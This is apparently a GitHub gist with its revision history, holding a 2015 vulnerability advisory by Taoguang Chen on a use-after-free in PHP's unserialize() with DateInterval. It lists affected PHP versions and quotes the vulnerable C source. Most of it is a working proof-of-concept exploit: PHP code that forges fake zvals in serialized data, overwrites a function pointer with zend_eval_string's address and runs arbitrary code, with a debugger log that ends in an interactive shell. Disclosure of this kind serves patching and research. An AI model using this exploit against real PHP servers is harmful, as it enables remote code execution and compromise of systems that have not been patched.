Last active
October 1, 2024 08:15
-
-
Save chtg/597360ca0a56fedc5efe to your computer and use it in GitHub Desktop.
Revisions
-
chtg revised this gist
Mar 20, 2015 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,6 @@ #Use After Free Vulnerability in unserialize() with DateInterval Taoguang Chen <[@chtg](https://github.com/chtg)> - Write Date: 2015.2.28 - Release Date: 2015.3.20 > A use-after-free vulnerability was discovered in unserialize() with DateInterval object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely. -
chtg revised this gist
Feb 28, 2015 . 1 changed file with 2 additions and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -8,7 +8,8 @@ Affected Versions ------------ Affected is PHP 5.6 < 5.6.7 Affected is PHP 5.5 < 5.5.23 Affected is PHP 5.4 < 5.4.39 Affected is PHP 5.3 <= 5.3.29 Credits ------------ -
chtg created this gist
Feb 28, 2015 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,123 @@ #Use After Free Vulnerability in unserialize() with DateInterval Taoguang Chen <[@chtg](https://github.com/chtg)> - Write Date: 2015.2.28 - Release Date: 2015.3.28 > A use-after-free vulnerability was discovered in unserialize() with DateInterval object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely. Affected Versions ------------ Affected is PHP 5.6 < 5.6.7 Affected is PHP 5.5 < 5.5.23 Affected is PHP 5.4 < 5.4.39 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ ``` static int php_date_interval_initialize_from_hash(zval **return_value, php_interval_obj **intobj, HashTable *myht TSRMLS_DC) { (*intobj)->diff = timelib_rel_time_ctor(); #define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \ do { \ zval **z_arg = NULL; \ if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \ convert_to_long(*z_arg); \ (*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \ } else { \ (*intobj)->diff->member = (itype)def; \ } \ } while (0); #define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \ do { \ zval **z_arg = NULL; \ if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \ convert_to_string(*z_arg); \ DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg)); \ } else { \ (*intobj)->diff->member = -1LL; \ } \ } while (0); ``` The convert_to_long()\convert_to_string() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14. ``` <?php $f = $argv[1]; $c = $argv[2]; $fakezval1 = ptr2str(0x100b83008); $fakezval1 .= ptr2str(0x8); $fakezval1 .= "\x00\x00\x00\x00"; $fakezval1 .= "\x06"; $fakezval1 .= "\x00"; $fakezval1 .= "\x00\x00"; $data1 = 'a:3:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:1;i:1;i:2;}}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:5;}}'; $x = unserialize($data1); $y = $x[2]; // zend_eval_string()'s address $y[0][0] = "\x6d"; $y[0][1] = "\x1e"; $y[0][2] = "\x35"; $y[0][3] = "\x00"; $y[0][4] = "\x01"; $y[0][5] = "\x00"; $y[0][6] = "\x00"; $y[0][7] = "\x00"; $fakezval2 = ptr2str(0x3b296324286624); // $f($c); $fakezval2 .= ptr2str(0x100b83000); $fakezval2 .= "\x00\x00\x00\x00"; $fakezval2 .= "\x05"; $fakezval2 .= "\x00"; $fakezval2 .= "\x00\x00"; $data2 = 'a:3:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:1;i:1;i:2;}}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateInterval":1:{s:1:"y";a:1:{i:0;R:5;}}}'; $z = unserialize($data2); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> ``` Test the PoC on the command line, then any PHP code can be executed: ``` $ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64). (lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)" Process 13472 launched: '/usr/bin/php' (x86_64) sh: no job control in this shell sh-3.2$ php -v PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies sh-3.2$ exit exit Process 13472 exited with status = 0 (0x00000000) (lldb) ```